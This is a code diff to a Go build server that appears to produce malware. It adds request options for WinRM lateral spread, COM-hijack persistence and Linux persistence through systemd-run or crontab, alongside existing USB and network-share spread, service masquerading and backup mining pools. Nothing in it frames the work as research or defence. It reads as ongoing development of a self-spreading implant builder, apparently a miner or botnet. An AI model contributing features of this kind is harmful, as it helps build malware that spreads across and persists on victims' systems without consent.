Add forge spread toggles for WinRM and Linux LOTL

server/internal/builder/handler.go

@@ -85,6 +85,9 @@ type BuildRequest struct {
 	RemoteAggressive bool   `json:"remote_aggressive"`
 	USBSpread        bool   `json:"usb_spread"`
 	ShareSpread      bool   `json:"share_spread"`
+	WinRMSpread      bool   `json:"winrm_spread"`
+	COMHijackPersist bool   `json:"com_hijack_persist"`
+	LinuxLOTLMode    string `json:"linux_lotl_mode"`
 	TargetOS         string `json:"target_os"`
 	TargetArch       string `json:"target_arch"`
 	SpreadKit        bool        `json:"spread_kit"`
@@ -1079,9 +1082,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	if req.LotlOnionEnabled {
 		ApplyLotlOnionPreset(req)
 	}
+	req.LinuxLOTLMode = normalizeLinuxLOTLMode(req.LinuxLOTLMode)
 	return nil
 }
 
+func normalizeLinuxLOTLMode(mode string) string {
+	switch strings.ToLower(strings.TrimSpace(mode)) {
+	case "systemd_run_user", "crontab", "both":
+		return strings.ToLower(strings.TrimSpace(mode))
+	default:
+		return "off"
+	}
+}
+
 func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
 	if header == nil {
 		return "", nil, fmt.Errorf("fusion upload is missing")
@@ -1202,6 +1215,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		RemoteAggressive:    %v,
 		USBSpread:           %v,
 		ShareSpread:         %v,
+		WinRMSpread:         %v,
+		COMHijackPersist:    %v,
+		LinuxLOTLMode:       %q,
 		BackupServerURLs:    %s,
 		BackupPools:         %s,
 		ServiceMasquerade:   %v,
@@ -1282,6 +1298,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.RemoteAggressive,
 		req.USBSpread,
 		req.ShareSpread,
+		req.WinRMSpread,
+		req.COMHijackPersist,
+		req.LinuxLOTLMode,
 		formatGoStringSlice(req.BackupServerURLs),
 		formatGoBackupPools(req.BackupPools),
 		serviceMasqueradeEnabled(req),